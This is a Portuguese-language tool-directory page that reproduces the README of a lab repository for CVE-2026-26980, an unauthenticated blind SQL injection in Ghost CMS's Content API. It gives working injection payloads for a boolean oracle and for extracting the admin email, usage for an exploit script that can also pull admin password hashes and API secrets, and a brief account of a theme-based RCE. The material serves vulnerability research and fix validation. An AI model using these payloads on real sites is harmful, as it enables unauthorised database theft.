Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Laboratório de Injeção SQL na Content API do Ghost CMS (SQLi cego não autenticado via ordenação do filtro slug) | Kitploit
Ferramentas/GitHubGitHub/dinosn/ghost-cve-2026-26980
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Laboratório de Injeção SQL na Content API do Ghost CMS (SQLi cego não autenticado via ordenação do filtro slug)

Ver Repositório
162há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-26980 — Laboratório de Injeção SQL na Content API do Ghost CMS

Injeção SQL cega não autenticada no Ghost CMS através do mecanismo de ordenação do filtro de slug da Content API, permitindo leituras arbitráveis do banco de dados de qualquer instância Ghost sem credenciais.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Crítico)
CWECWE-89 (Injeção SQL)
AfetadoGhost 3.24.0 -- 6.19.0
CorrigidoGhost 6.19.1
Autenticação necessáriaNenhuma (a chave da Content API é pública por design)
Crédito/ReferênciasNicholas Carlini usando Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Aviso -- Este laboratório destina-se apenas a testes de segurança autorizados, educação e pesquisa defensiva. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.

Visão Geral

A Content API do Ghost suporta filtrar tags e posts por slug usando notação de array: filter=slug:[tag-a,tag-b]. Internamente, uma função auxiliar constrói uma instrução ORDER BY CASE para preservar a ordem solicitada dos slugs. Antes da v6.19.1, os valores de slug fornecidos pelo usuário eram interpolados diretamente neste SQL sem parametrização:

root@kitploit:~
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERÁVEL)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

A chave da Content API está embutida no HTML de todo site Ghost (data-key="..."), tornando esta uma superfície de ataque totalmente não autenticada.

Mecanismo da Vulnerabilidade

O Bypass do NQL

A linguagem de consulta NQL do Ghost valida a entrada do filtro e rejeita aspas simples ou espaços brutos. No entanto, o NQL aceita valores envolvidos por aspas simples dentro da notação de array (slug:['valor']), passando as aspas como parte do literal. A regex slugFilterOrder extrai esses valores e os interpola — aspas incluídas — no SQL:

root@kitploit:~
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passa as aspas como caracteres literais

SQL Gerado

Após a interpolação, o ORDER BY se torna:

root@kitploit:~
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

No modo SQL padrão do MySQL, || é OR e '' é falso. Isso nos dá um oráculo booleano limpo:

CondiçãoResultado do CASEEfeito
VERDADEIRO'' OR 0 OR '' = 0Resposta normal (HTTP 200)
FALSO'' OR EXP(710) OR ''Erro de estouro DOUBLE (HTTP 500)

Extração de Dados

Com o oráculo estabelecido, aplica-se a extração cega padrão por busca binária:

root@kitploit:~
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

A sintaxe SUBSTR(... FROM pos FOR len) evita vírgulas (nas quais o slugFilterOrder divide).

Capturas de Tela

Oráculo Booleano: condição VERDADEIRA (HTTP 200) vs condição FALSA (HTTP 500)

VERDADEIRO (1=1) → HTTP 200FALSO (1=0) → HTTP 500
VERDADEIROFALSO

Extração de Dados por Busca Binária

Extração de Dados

Validação da Correção: v6.18.0 vs v6.19.1

Validação da Correção

Mais capturas de tela

Frontend do Ghost

Frontend do Ghost

Chave da Content API no Código-Fonte da Página

Chave da API

Resposta Normal da API

Requisição Normal

A Correção (v6.19.1)

A correção substitui a interpolação de strings por bindings parametrizados:

root@kitploit:~
// CORRIGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

O plugin crud.js foi atualizado para encadear bindings através do orderByRaw, e o @tryghost/bookshelf-plugins foi atualizado para 0.6.29, que adiciona suporte a bindings.

Configuração do Laboratório

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.8+ com requests

Início Rápido

root@kitploit:~
# Clone e entre no laboratório
git clone <este-repo> && cd ghost-cve-2026-26980

# Instale a dependência Python
pip install -r requirements.txt

# Inicie a instância Ghost vulnerável (6.18.0 + MySQL 8)
docker compose up -d

# Aguarde ~45 segundos para o Ghost inicializar e então execute o exploit
python3 exploit.py --url http://localhost:2368

Validar a Correção

root@kitploit:~
# Também inicie o Ghost 6.19.1 corrigido na porta 2369
docker compose --profile fixed up -d

# Aguarde ~45 segundos e confirme que a correção bloqueia a injeção
python3 exploit.py --url http://localhost:2369 --validate-fix

Validação com Um Comando

root@kitploit:~
bash validate.sh

Encerramento

root@kitploit:~
docker compose --profile fixed down -v

Uso do Exploit

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL do Ghost (padrão: http://localhost:2368)
  --validate-fix       Confirma que o alvo NÃO é vulnerável
  --extract-password   Também extrai o hash bcrypt do admin
  --extract-api-key    Também extrai o segredo da API do admin
  --content-key KEY    Pula a configuração, usa esta chave da Content API diretamente
  -v, --verbose        Mostra resultados do oráculo por consulta

Exemplo de Saída

root@kitploit:~
====================================================
CVE-2026-26980 — Injeção SQL na Content API do Ghost CMS
====================================================

[*] Aguardando o Ghost em http://localhost:2368 ficar pronto
[*] Configurando o Ghost (admin: [email protected])
[+] Configuração concluída — estabelecendo sessão
[+] Conectado
[+] Chave da Content API: ad63c06a71457583ea58f050c1
[+] Slug âncora: news

[*] Fase 1 — verificação cega booleana
  CASE WHEN 1=1:  200 (VERDADEIRO)
  CASE WHEN 1=0:  500 (FALSO)
  [+] Oráculo booleano confirmado — VULNERÁVEL

[*] Fase 2a — extraindo email do admin
  Medindo o comprimento do email do admin... 21 caracteres
  Extraindo: [email protected]
  [+] Email: [email protected]

============================================================
  RESUMO DA EXPLORAÇÃO
============================================================
  Alvo:          http://localhost:2368
  CVE:           CVE-2026-26980
  Chave de conteúdo:   ad63c06a71457583ea58f050c1
  Email do admin:   [email protected]
============================================================

Também Corrigido na v6.19.1: CVE-2026-29053 (RCE via Temas)

Uma segunda vulnerabilidade foi corrigida na mesma versão. O helper Handlebars {{#get}} do Ghost usava o pacote jsonpath (que depende de static-eval) para resolver expressões de caminho. Temas maliciosos podiam criar expressões que alcançavam Function() via travessia de protótipo, obtendo execução de código no servidor.

CVECVE-2026-29053
AfetadoGhost 0.7.2 -- 6.19.0
AutenticaçãoAdmin (upload de tema)
CorreçãoSubstituiu jsonpath por uma função querySimplePath() restrita que suporta apenas notação de ponto, [N] e [*]

Este laboratório foca no CVE-2026-26980 por ser não autenticado e mais impactante para atacantes externos.

Arquivos

root@kitploit:~
.
├── README.md              # Este arquivo
├── docker-compose.yml     # Ghost 6.18.0 (vuln) + 6.19.1 (corrigido) com MySQL 8
├── exploit.py             # PoC completo: configuração, verificação, extração
├── validate.sh            # Wrapper de validação ponta a ponta
└── requirements.txt       # Dependências Python

Referências

  • Advisory de Segurança do Ghost GHSA-w52v-v783-gw97
  • Entrada NVD CVE-2026-26980
  • Commit da Correção: injeção SQL na ordenação do filtro de slug da Content API
  • Commit da Correção: substituiu jsonpath por resolvedor de caminho personalizado
  • Writeup do CVE-2026-29053 (Hidden Investigations)

Licença

Este laboratório é fornecido para fins educacionais e de testes de segurança autorizados sob a Licença MIT.

Baixar ferramenta